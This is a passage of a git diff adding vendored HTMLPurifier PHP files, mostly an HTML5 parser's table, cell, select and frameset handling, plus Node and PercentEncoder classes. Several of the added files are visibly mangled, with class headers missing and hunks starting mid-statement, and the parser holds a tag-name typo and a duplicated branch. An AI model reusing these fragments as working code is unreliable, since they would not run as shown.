(!$this->elementInScope($token['name'], true)) { + // Ignore + + /* Otherwise: */ + } else { + /* Clear the stack back to a table body context. */ + $this->clearStackToTableContext($clear); + + /* Pop the current node from the stack of open elements. Switch + the insertion mode to "in table". */ + array_pop($this->stack); + $this->mode = self::IN_TABLE; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */ + } elseif (($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead') + )) || + ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table') + ) { + /* If the stack of open elements does not have a tbody, thead, or + tfoot element in table scope, this is a parse error. Ignore the + token. (innerHTML case) */ + if (!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Clear the stack back to a table body context. */ + $this->clearStackToTableContext($clear); + + /* Act as if an end tag with the same tag name as the current + node ("tbody", "tfoot", or "thead") had been seen, then + reprocess the current token. */ + $this->inTableBody( + array( + 'name' => end($this->stack)->nodeName, + 'type' => HTML5::ENDTAG + ) + ); + + return $this->mainPhase($token); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html", "td", "th", "tr" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr') + ) + ) { + /* Parse error. Ignore the token. */ + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in table". */ + $this->inTable($token); + } + } + + private function inRow($token) + { + $clear = array('tr', 'html'); + + /* A start tag whose tag name is one of: "th", "td" */ + if ($token['type'] === HTML5::STARTTAG && + ($token['name'] === 'th' || $token['name'] === 'td') + ) { + /* Clear the stack back to a table row context. */ + $this->clearStackToTableContext($clear); + + /* Insert an HTML element for the token, then switch the insertion + mode to "in cell". */ + $this->insertElement($token); + $this->mode = self::IN_CELL; + + /* Insert a marker at the end of the list of active formatting + elements. */ + $this->a_formatting[] = self::MARKER; + + /* An end tag whose tag name is "tr" */ + } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if (!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Clear the stack back to a table row context. */ + $this->clearStackToTableContext($clear); + + /* Pop the current node (which will be a tr element) from the + stack of open elements. Switch the insertion mode to "in table + body". */ + array_pop($this->stack); + $this->mode = self::IN_TBODY; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr') + ) + ) { + /* Act as if an end tag with the tag name "tr" had been seen, then, + if that token wasn't ignored, reprocess the current token. */ + $this->inRow( + array( + 'name' => 'tr', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->inCell($token); + + /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ + } elseif ($token['type'] === HTML5::ENDTAG && + in_array($token['name'], array('tbody', 'tfoot', 'thead')) + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. */ + if (!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Otherwise, act as if an end tag with the tag name "tr" had + been seen, then reprocess the current token. */ + $this->inRow( + array( + 'name' => 'tr', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->inCell($token); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html", "td", "th" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr') + ) + ) { + /* Parse error. Ignore the token. */ + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in table". */ + $this->inTable($token); + } + } + + private function inCell($token) + { + /* An end tag whose tag name is one of: "td", "th" */ + if ($token['type'] === HTML5::ENDTAG && + ($token['name'] === 'td' || $token['name'] === 'th') + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as that of the token, then this is a + parse error and the token must be ignored. */ + if (!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Generate implied end tags, except for elements with the same + tag name as the token. */ + $this->generateImpliedEndTags(array($token['name'])); + + /* Now, if the current node is not an element with the same tag + name as the token, then this is a parse error. */ + // k + + /* Pop elements from this stack until an element with the same + tag name as the token has been popped from the stack. */ + while (true) { + $node = end($this->stack)->nodeName; + array_pop($this->stack); + + if ($node === $token['name']) { + break; + } + } + + /* Clear the list of active formatting elements up to the last + marker. */ + $this->clearTheActiveFormattingElementsUpToTheLastMarker(); + + /* Switch the insertion mode to "in row". (The current node + will be a tr element at this point.) */ + $this->mode = self::IN_ROW; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array( + 'caption', + 'col', + 'colgroup', + 'tbody', + 'td', + 'tfoot', + 'th', + 'thead', + 'tr' + ) + ) + ) { + /* If the stack of open elements does not have a td or th element + in table scope, then this is a parse error; ignore the token. + (innerHTML case) */ + if (!$this->elementInScope(array('td', 'th'), true)) { + // Ignore. + + /* Otherwise, close the cell (see below) and reprocess the current + token. */ + } else { + $this->closeCell(); + return $this->inRow($token); + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array( + 'caption', + 'col', + 'colgroup', + 'tbody', + 'td', + 'tfoot', + 'th', + 'thead', + 'tr' + ) + ) + ) { + /* If the stack of open elements does not have a td or th element + in table scope, then this is a parse error; ignore the token. + (innerHTML case) */ + if (!$this->elementInScope(array('td', 'th'), true)) { + // Ignore. + + /* Otherwise, close the cell (see below) and reprocess the current + token. */ + } else { + $this->closeCell(); + return $this->inRow($token); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array('body', 'caption', 'col', 'colgroup', 'html') + ) + ) { + /* Parse error. Ignore the token. */ + + /* An end tag whose tag name is one of: "table", "tbody", "tfoot", + "thead", "tr" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array('table', 'tbody', 'tfoot', 'thead', 'tr') + ) + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as that of the token (which can only + happen for "tbody", "tfoot" and "thead", or, in the innerHTML case), + then this is a parse error and the token must be ignored. */ + if (!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise, close the cell (see below) and reprocess the current + token. */ + } else { + $this->closeCell(); + return $this->inRow($token); + } + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in body". */ + $this->inBody($token); + } + } + + private function inSelect($token) + { + /* Handle the token as follows: */ + + /* A character token */ + if ($token['type'] === HTML5::CHARACTR) { + /* Append the token's character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag token whose tag name is "option" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'option' + ) { + /* If the current node is an option element, act as if an end tag + with the tag name "option" had been seen. */ + if (end($this->stack)->nodeName === 'option') { + $this->inSelect( + array( + 'name' => 'option', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* A start tag token whose tag name is "optgroup" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'optgroup' + ) { + /* If the current node is an option element, act as if an end tag + with the tag name "option" had been seen. */ + if (end($this->stack)->nodeName === 'option') { + $this->inSelect( + array( + 'name' => 'option', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* If the current node is an optgroup element, act as if an end tag + with the tag name "optgroup" had been seen. */ + if (end($this->stack)->nodeName === 'optgroup') { + $this->inSelect( + array( + 'name' => 'optgroup', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* An end tag token whose tag name is "optgroup" */ + } elseif ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'optgroup' + ) { + /* First, if the current node is an option element, and the node + immediately before it in the stack of open elements is an optgroup + element, then act as if an end tag with the tag name "option" had + been seen. */ + $elements_in_stack = count($this->stack); + + if ($this->stack[$elements_in_stack - 1]->nodeName === 'option' && + $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup' + ) { + $this->inSelect( + array( + 'name' => 'option', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* If the current node is an optgroup element, then pop that node + from the stack of open elements. Otherwise, this is a parse error, + ignore the token. */ + if ($this->stack[$elements_in_stack - 1] === 'optgroup') { + array_pop($this->stack); + } + + /* An end tag token whose tag name is "option" */ + } elseif ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'option' + ) { + /* If the current node is an option element, then pop that node + from the stack of open elements. Otherwise, this is a parse error, + ignore the token. */ + if (end($this->stack)->nodeName === 'option') { + array_pop($this->stack); + } + + /* An end tag whose tag name is "select" */ + } elseif ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'select' + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if (!$this->elementInScope($token['name'], true)) { + // w/e + + /* Otherwise: */ + } else { + /* Pop elements from the stack of open elements until a select + element has been popped from the stack. */ + while (true) { + $current = end($this->stack)->nodeName; + array_pop($this->stack); + + if ($current === 'select') { + break; + } + } + + /* Reset the insertion mode appropriately. */ + $this->resetInsertionMode(); + } + + /* A start tag whose tag name is "select" */ + } elseif ($token['name'] === 'select' && + $token['type'] === HTML5::STARTTAG + ) { + /* Parse error. Act as if the token had been an end tag with the + tag name "select" instead. */ + $this->inSelect( + array( + 'name' => 'select', + 'type' => HTML5::ENDTAG + ) + ); + + /* An end tag whose tag name is one of: "caption", "table", "tbody", + "tfoot", "thead", "tr", "td", "th" */ + } elseif (in_array( + $token['name'], + array( + 'caption', + 'table', + 'tbody', + 'tfoot', + 'thead', + 'tr', + 'td', + 'th' + ) + ) && $token['type'] === HTML5::ENDTAG + ) { + /* Parse error. */ + // w/e + + /* If the stack of open elements has an element in table scope with + the same tag name as that of the token, then act as if an end tag + with the tag name "select" had been seen, and reprocess the token. + Otherwise, ignore the token. */ + if ($this->elementInScope($token['name'], true)) { + $this->inSelect( + array( + 'name' => 'select', + 'type' => HTML5::ENDTAG + ) + ); + + $this->mainPhase($token); + } + + /* Anything else */ + } else { + /* Parse error. Ignore the token. */ + } + } + + private function afterBody($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Process the token as it would be processed if the insertion mode + was "in body". */ + $this->inBody($token); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the first element in the stack of open + elements (the html element), with the data attribute set to the + data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + $this->stack[0]->appendChild($comment); + + /* An end tag with the tag name "html" */ + } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') { + /* If the parser was originally created in order to handle the + setting of an element's innerHTML attribute, this is a parse error; + ignore the token. (The element will be an html element in this + case.) (innerHTML case) */ + + /* Otherwise, switch to the trailing end phase. */ + $this->phase = self::END_PHASE; + + /* Anything else */ + } else { + /* Parse error. Set the insertion mode to "in body" and reprocess + the token. */ + $this->mode = self::IN_BODY; + return $this->inBody($token); + } + } + + private function inFrameset($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag with the tag name "frameset" */ + } elseif ($token['name'] === 'frameset' && + $token['type'] === HTML5::STARTTAG + ) { + $this->insertElement($token); + + /* An end tag with the tag name "frameset" */ + } elseif ($token['name'] === 'frameset' && + $token['type'] === HTML5::ENDTAG + ) { + /* If the current node is the root html element, then this is a + parse error; ignore the token. (innerHTML case) */ + if (end($this->stack)->nodeName === 'html') { + // Ignore + + } else { + /* Otherwise, pop the current node from the stack of open + elements. */ + array_pop($this->stack); + + /* If the parser was not originally created in order to handle + the setting of an element's innerHTML attribute (innerHTML case), + and the current node is no longer a frameset element, then change + the insertion mode to "after frameset". */ + $this->mode = self::AFTR_FRAME; + } + + /* A start tag with the tag name "frame" */ + } elseif ($token['name'] === 'frame' && + $token['type'] === HTML5::STARTTAG + ) { + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Immediately pop the current node off the stack of open elements. */ + array_pop($this->stack); + + /* A start tag with the tag name "noframes" */ + } elseif ($token['name'] === 'noframes' && + $token['type'] === HTML5::STARTTAG + ) { + /* Process the token as if the insertion mode had been "in body". */ + $this->inBody($token); + + /* Anything else */ + } else { + /* Parse error. Ignore the token. */ + } + } + + private function afterFrameset($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* An end tag with the tag name "html" */ + } elseif ($token['name'] === 'html' && + $token['type'] === HTML5::ENDTAG + ) { + /* Switch to the trailing end phase. */ + $this->phase = self::END_PHASE; + + /* A start tag with the tag name "noframes" */ + } elseif ($token['name'] === 'noframes' && + $token['type'] === HTML5::STARTTAG + ) { + /* Process the token as if the insertion mode had been "in body". */ + $this->inBody($token); + + /* Anything else */ + } else { + /* Parse error. Ignore the token. */ + } + } + + private function trailingEndPhase($token) + { + /* After the main phase, as each token is emitted from the tokenisation + stage, it must be processed as described in this section. */ + + /* A DOCTYPE token */ + if ($token['type'] === HTML5::DOCTYPE) { + // Parse error. Ignore the token. + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the Document object with the data + attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + $this->dom->appendChild($comment); + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + } elseif ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Process the token as it would be processed in the main phase. */ + $this->mainPhase($token); + + /* A character token that is not one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE. Or a start tag token. Or an end tag token. */ + } elseif (($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || + $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG + ) { + /* Parse error. Switch back to the main phase and reprocess the + token. */ + $this->phase = self::MAIN_PHASE; + return $this->mainPhase($token); + + /* An end-of-file token */ + } elseif ($token['type'] === HTML5::EOF) { + /* OMG DONE!! */ + } + } + + private function insertElement($token, $append = true, $check = false) + { + // Proprietary workaround for libxml2's limitations with tag names + if ($check) { + // Slightly modified HTML5 tag-name modification, + // removing anything that's not an ASCII letter, digit, or hyphen + $token['name'] = preg_replace('/[^a-z0-9-]/i', '', $token['name']); + // Remove leading hyphens and numbers + $token['name'] = ltrim($token['name'], '-0..9'); + // In theory, this should ever be needed, but just in case + if ($token['name'] === '') { + $token['name'] = 'span'; + } // arbitrary generic choice + } + + $el = $this->dom->createElement($token['name']); + + foreach ($token['attr'] as $attr) { + if (!$el->hasAttribute($attr['name'])) { + $el->setAttribute($attr['name'], $attr['value']); + } + } + + $this->appendToRealParent($el); + $this->stack[] = $el; + + return $el; + } + + private function insertText($data) + { + $text = $this->dom->createTextNode($data); + $this->appendToRealParent($text); + } + + private function insertComment($data) + { + $comment = $this->dom->createComment($data); + $this->appendToRealParent($comment); + } + + private function appendToRealParent($node) + { + if ($this->foster_parent === null) { + end($this->stack)->appendChild($node); + + } elseif ($this->foster_parent !== null) { + /* If the foster parent element is the parent element of the + last table element in the stack of open elements, then the new + node must be inserted immediately before the last table element + in the stack of open elements in the foster parent element; + otherwise, the new node must be appended to the foster parent + element. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->stack[$n]->nodeName === 'table' && + $this->stack[$n]->parentNode !== null + ) { + $table = $this->stack[$n]; + break; + } + } + + if (isset($table) && $this->foster_parent->isSameNode($table->parentNode)) { + $this->foster_parent->insertBefore($node, $table); + } else { + $this->foster_parent->appendChild($node); + } + + $this->foster_parent = null; + } + } + + private function elementInScope($el, $table = false) + { + if (is_array($el)) { + foreach ($el as $element) { + if ($this->elementInScope($element, $table)) { + return true; + } + } + + return false; + } + + $leng = count($this->stack); + + for ($n = 0; $n < $leng; $n++) { + /* 1. Initialise node to be the current node (the bottommost node of + the stack). */ + $node = $this->stack[$leng - 1 - $n]; + + if ($node->tagName === $el) { + /* 2. If node is the target node, terminate in a match state. */ + return true; + + } elseif ($node->tagName === 'table') { + /* 3. Otherwise, if node is a table element, terminate in a failure + state. */ + return false; + + } elseif ($table === true && in_array( + $node->tagName, + array( + 'caption', + 'td', + 'th', + 'button', + 'marquee', + 'object' + ) + ) + ) { + /* 4. Otherwise, if the algorithm is the "has an element in scope" + variant (rather than the "has an element in table scope" variant), + and node is one of the following, terminate in a failure state. */ + return false; + + } elseif ($node === $node->ownerDocument->documentElement) { + /* 5. Otherwise, if node is an html element (root element), terminate + in a failure state. (This can only happen if the node is the topmost + node of the stack of open elements, and prevents the next step from + being invoked if there are no more elements in the stack.) */ + return false; + } + + /* Otherwise, set node to the previous entry in the stack of open + elements and return to step 2. (This will never fail, since the loop + will always terminate in the previous step if the top of the stack + is reached.) */ + } + } + + private function reconstructActiveFormattingElements() + { + /* 1. If there are no entries in the list of active formatting elements, + then there is nothing to reconstruct; stop this algorithm. */ + $formatting_elements = count($this->a_formatting); + + if ($formatting_elements === 0) { + return false; + } + + /* 3. Let entry be the last (most recently added) element in the list + of active formatting elements. */ + $entry = end($this->a_formatting); + + /* 2. If the last (most recently added) entry in the list of active + formatting elements is a marker, or if it is an element that is in the + stack of open elements, then there is nothing to reconstruct; stop this + algorithm. */ + if ($entry === self::MARKER || in_array($entry, $this->stack, true)) { + return false; + } + + for ($a = $formatting_elements - 1; $a >= 0; true) { + /* 4. If there are no entries before entry in the list of active + formatting elements, then jump to step 8. */ + if ($a === 0) { + $step_seven = false; + break; + } + + /* 5. Let entry be the entry one earlier than entry in the list of + active formatting elements. */ + $a--; + $entry = $this->a_formatting[$a]; + + /* 6. If entry is neither a marker nor an element that is also in + thetack of open elements, go to step 4. */ + if ($entry === self::MARKER || in_array($entry, $this->stack, true)) { + break; + } + } + + while (true) { + /* 7. Let entry be the element one later than entry in the list of + active formatting elements. */ + if (isset($step_seven) && $step_seven === true) { + $a++; + $entry = $this->a_formatting[$a]; + } + + /* 8. Perform a shallow clone of the element entry to obtain clone. */ + $clone = $entry->cloneNode(); + + /* 9. Append clone to the current node and push it onto the stack + of open elements so that it is the new current node. */ + end($this->stack)->appendChild($clone); + $this->stack[] = $clone; + + /* 10. Replace the entry for entry in the list with an entry for + clone. */ + $this->a_formatting[$a] = $clone; + + /* 11. If the entry for clone in the list of active formatting + elements is not the last entry in the list, return to step 7. */ + if (end($this->a_formatting) !== $clone) { + $step_seven = true; + } else { + break; + } + } + } + + private function clearTheActiveFormattingElementsUpToTheLastMarker() + { + /* When the steps below require the UA to clear the list of active + formatting elements up to the last marker, the UA must perform the + following steps: */ + + while (true) { + /* 1. Let entry be the last (most recently added) entry in the list + of active formatting elements. */ + $entry = end($this->a_formatting); + + /* 2. Remove entry from the list of active formatting elements. */ + array_pop($this->a_formatting); + + /* 3. If entry was a marker, then stop the algorithm at this point. + The list has been cleared up to the last marker. */ + if ($entry === self::MARKER) { + break; + } + } + } + + private function generateImpliedEndTags($exclude = array()) + { + /* When the steps below require the UA to generate implied end tags, + then, if the current node is a dd element, a dt element, an li element, + a p element, a td element, a th element, or a tr element, the UA must + act as if an end tag with the respective tag name had been seen and + then generate implied end tags again. */ + $node = end($this->stack); + $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude); + + while (in_array(end($this->stack)->nodeName, $elements)) { + array_pop($this->stack); + } + } + + private function getElementCategory($node) + { + $name = $node->tagName; + if (in_array($name, $this->special)) { + return self::SPECIAL; + } elseif (in_array($name, $this->scoping)) { + return self::SCOPING; + } elseif (in_array($name, $this->formatting)) { + return self::FORMATTING; + } else { + return self::PHRASING; + } + } + + private function clearStackToTableContext($elements) + { + /* When the steps above require the UA to clear the stack back to a + table context, it means that the UA must, while the current node is not + a table element or an html element, pop elements from the stack of open + elements. If this causes any elements to be popped from the stack, then + this is a parse error. */ + while (true) { + $node = end($this->stack)->nodeName; + + if (in_array($node, $elements)) { + break; + } else { + array_pop($this->stack); + } + } + } + + private function resetInsertionMode() + { + /* 1. Let last be false. */ + $last = false; + $leng = count($this->stack); + + for ($n = $leng - 1; $n >= 0; $n--) { + /* 2. Let node be the last node in the stack of open elements. */ + $node = $this->stack[$n]; + + /* 3. If node is the first node in the stack of open elements, then + set last to true. If the element whose innerHTML attribute is being + set is neither a td element nor a th element, then set node to the + element whose innerHTML attribute is being set. (innerHTML case) */ + if ($this->stack[0]->isSameNode($node)) { + $last = true; + } + + /* 4. If node is a select element, then switch the insertion mode to + "in select" and abort these steps. (innerHTML case) */ + if ($node->nodeName === 'select') { + $this->mode = self::IN_SELECT; + break; + + /* 5. If node is a td or th element, then switch the insertion mode + to "in cell" and abort these steps. */ + } elseif ($node->nodeName === 'td' || $node->nodeName === 'th') { + $this->mode = self::IN_CELL; + break; + + /* 6. If node is a tr element, then switch the insertion mode to + "in row" and abort these steps. */ + } elseif ($node->nodeName === 'tr') { + $this->mode = self::IN_ROW; + break; + + /* 7. If node is a tbody, thead, or tfoot element, then switch the + insertion mode to "in table body" and abort these steps. */ + } elseif (in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) { + $this->mode = self::IN_TBODY; + break; + + /* 8. If node is a caption element, then switch the insertion mode + to "in caption" and abort these steps. */ + } elseif ($node->nodeName === 'caption') { + $this->mode = self::IN_CAPTION; + break; + + /* 9. If node is a colgroup element, then switch the insertion mode + to "in column group" and abort these steps. (innerHTML case) */ + } elseif ($node->nodeName === 'colgroup') { + $this->mode = self::IN_CGROUP; + break; + + /* 10. If node is a table element, then switch the insertion mode + to "in table" and abort these steps. */ + } elseif ($node->nodeName === 'table') { + $this->mode = self::IN_TABLE; + break; + + /* 11. If node is a head element, then switch the insertion mode + to "in body" ("in body"! not "in head"!) and abort these steps. + (innerHTML case) */ + } elseif ($node->nodeName === 'head') { + $this->mode = self::IN_BODY; + break; + + /* 12. If node is a body element, then switch the insertion mode to + "in body" and abort these steps. */ + } elseif ($node->nodeName === 'body') { + $this->mode = self::IN_BODY; + break; + + /* 13. If node is a frameset element, then switch the insertion + mode to "in frameset" and abort these steps. (innerHTML case) */ + } elseif ($node->nodeName === 'frameset') { + $this->mode = self::IN_FRAME; + break; + + /* 14. If node is an html element, then: if the head element + pointer is null, switch the insertion mode to "before head", + otherwise, switch the insertion mode to "after head". In either + case, abort these steps. (innerHTML case) */ + } elseif ($node->nodeName === 'html') { + $this->mode = ($this->head_pointer === null) + ? self::BEFOR_HEAD + : self::AFTER_HEAD; + + break; + + /* 15. If last is true, then set the insertion mode to "in body" + and abort these steps. (innerHTML case) */ + } elseif ($last) { + $this->mode = self::IN_BODY; + break; + } + } + } + + private function closeCell() + { + /* If the stack of open elements has a td or th element in table scope, + then act as if an end tag token with that tag name had been seen. */ + foreach (array('td', 'th') as $cell) { + if ($this->elementInScope($cell, true)) { + $this->inCell( + array( + 'name' => $cell, + 'type' => HTML5::ENDTAG + ) + ); + + break; + } + } + } + + public function save() + { + return $this->dom; + } +} diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node.php new file mode 100644 index 00000000..3995fec9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node.php @@ -0,0 +1,49 @@ +data = $data; + $this->line = $line; + $this->col = $col; + } + + public function toTokenPair() { + return array(new HTMLPurifier_Token_Comment($this->data, $this->line, $this->col), null); + } +} diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Element.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Element.php new file mode 100644 index 00000000..6cbf56da --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Element.php @@ -0,0 +1,59 @@ + form or the form, i.e. + * is it a pair of start/end tokens or an empty token. + * @bool + */ + public $empty = false; + + public $endCol = null, $endLine = null, $endArmor = array(); + + public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array()) { + $this->name = $name; + $this->attr = $attr; + $this->line = $line; + $this->col = $col; + $this->armor = $armor; + } + + public function toTokenPair() { + // XXX inefficiency here, normalization is not necessary + if ($this->empty) { + return array(new HTMLPurifier_Token_Empty($this->name, $this->attr, $this->line, $this->col, $this->armor), null); + } else { + $start = new HTMLPurifier_Token_Start($this->name, $this->attr, $this->line, $this->col, $this->armor); + $end = new HTMLPurifier_Token_End($this->name, array(), $this->endLine, $this->endCol, $this->endArmor); + //$end->start = $start; + return array($start, $end); + } + } +} + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Text.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Text.php new file mode 100644 index 00000000..aec91664 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Text.php @@ -0,0 +1,54 @@ +data = $data; + $this->is_whitespace = $is_whitespace; + $this->line = $line; + $this->col = $col; + } + + public function toTokenPair() { + return array(new HTMLPurifier_Token_Text($this->data, $this->line, $this->col), null); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PercentEncoder.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PercentEncoder.php new file mode 100644 index 00000000..18c8bbb0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PercentEncoder.php @@ -0,0 +1,111 @@ +preserve[$i] = true; + } + for ($i = 65; $i <= 90; $i++) { // upper-case + $this->preserve[$i] = true; + } + for ($i = 97; $i <= 122; $i++) { // lower-case + $this->preserve[$i] = true; + } + $this->preserve[45] = true; // Dash - + $this->preserve[46] = true; // Period . + $this->preserve[95] = true; // Underscore _ + $this->preserve[126]= true; // Tilde ~ + + // extra letters not to escape + if ($preserve !== false) { + for ($i = 0, $c = strlen($preserve); $i < $c; $i++) { + $this->preserve[ord($preserve[$i])] = true; + } + } + } + + /** + * Our replacement for urlencode, it encodes all non-reserved characters, + * as well as any extra characters that were instructed to be preserved. + * @note + * Assumes that the string has already been normalized, making any + * and all percent escape sequences valid. Percents will not be + * re-escaped, regardless of their status in $preserve + * @param string $string String to be encoded + * @return string Encoded string. + */ + public function encode($string) + { + $ret = ''; + for ($i = 0, $c = strlen($string); $i < $c; $i++) { + if ($string[$i] !== '%' && !isset($this->preserve[$int = ord($string[$i])])) { + $ret .= '%' . sprintf('%02X', $int); + } else { + $ret .= $string[$i]; + } + } + return $ret; + } + + /** + * Fix up percent-encoding by decoding unreserved characters and normalizing. + * @warning This function is affected by $preserve, even though the + * usual desired behavior is for this not to preserve those + * characters. Be careful when reusing instances of PercentEncoder! + * @param string $string String to normalize + * @return string + */ + public function normalize($string) + { + if ($string == '') { + return ''; + } + $parts = explode('%', $string); + $ret = array_shift($parts); + foreach ($parts as $part) { + $length = strlen($part); + if ($length < 2) { + $ret .= '%25' . $part; + continue; + } + $encoding = substr($part, 0, 2); + $text = substr($part, 2); + if (!ctype_xdigit($encoding)) { + $ret .= '%25' . $part; + continue; + } + $int = hexdec($encoding); + if (isset($this->preserve[$int])) { + $ret .= chr($int) . $text; + continue; + } + $encoding = strtoupper($encoding); + $ret .= '%' . $encoding . $text; + } + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git 